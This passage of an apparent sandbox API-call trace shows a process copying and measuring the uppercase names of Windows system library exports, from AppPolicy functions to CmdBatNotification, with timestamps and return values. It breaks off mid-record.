lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0068.763] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0068.763] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0068.763] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0068.763] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0068.763] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0068.763] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0068.763] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0068.763] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0068.763] lstrlenA (lpString="BACKUPREAD") returned 10 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0068.763] lstrlenA (lpString="BACKUPSEEK") returned 10 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0068.764] lstrlenA (lpString="BACKUPWRITE") returned 11 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0068.764] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0068.764] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0068.764] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0068.764] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0068.764] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0068.764] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0068.764] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0068.764] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0068.764] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0068.764] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0068.765] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0068.765] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0068.765] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0068.765] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0068.765] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0068.765] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0068.765] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0068.765] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0068.765] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0068.765] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0068.765] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0068.766] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0068.766] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0068.766] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0068.766] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0068.766] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0068.766] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0068.766] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0068.766] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0068.766] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0068.766] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0068.766] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0068.767] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0068.767] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0068.767] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0068.767] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0068.767] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0068.767] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0068.767] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0068.767] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0068.767] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0068.767] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0068.767] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0068.767] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0068.767] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0068.767] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0068.767] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0068.767] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0068.767] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0068.767] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0068.768] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0068.768] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0068.768] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0068.768] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0068.768] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0068.768] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0068.768] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0068.768] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0068.768] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0068.768] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0068.768] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0068.769] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0068.769] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0068.769] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0068.769] lstrlenA (lpString="BEEP") returned 4 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0068.769] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0068.769] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0068.769] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0068.769] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0068.769] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0068.769] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0068.769] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0068.769] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0068.769] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0068.769] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0068.769] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0068.769] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0068.770] lstrlenA (lpString="CANCELIO") returned 8 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0068.770] lstrlenA (lpString="CANCELIOEX") returned 10 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0068.770] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0068.770] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0068.770] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0068.770] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0068.770] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0068.770] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0068.770] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0068.770] lstrlenA (lpString="CHECKELEVATION") returned 14 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0068.770] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0068.770] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0068.770] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0068.770] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0068.770] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0068.770] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0068.770] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0068.770] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0068.771] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0068.771] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0068.771] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0068.771] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0068.771] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0068.771] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0068.771] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0068.771] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0068.771] lstrlenA (lpString="CLOSESTATE") returned 10 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0068.771] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0068.771] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0068.771] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0068.771] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0068.771] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0068.771] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0068.771] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0068.771] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0068.771] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0068.771] lstrcpyA (in: 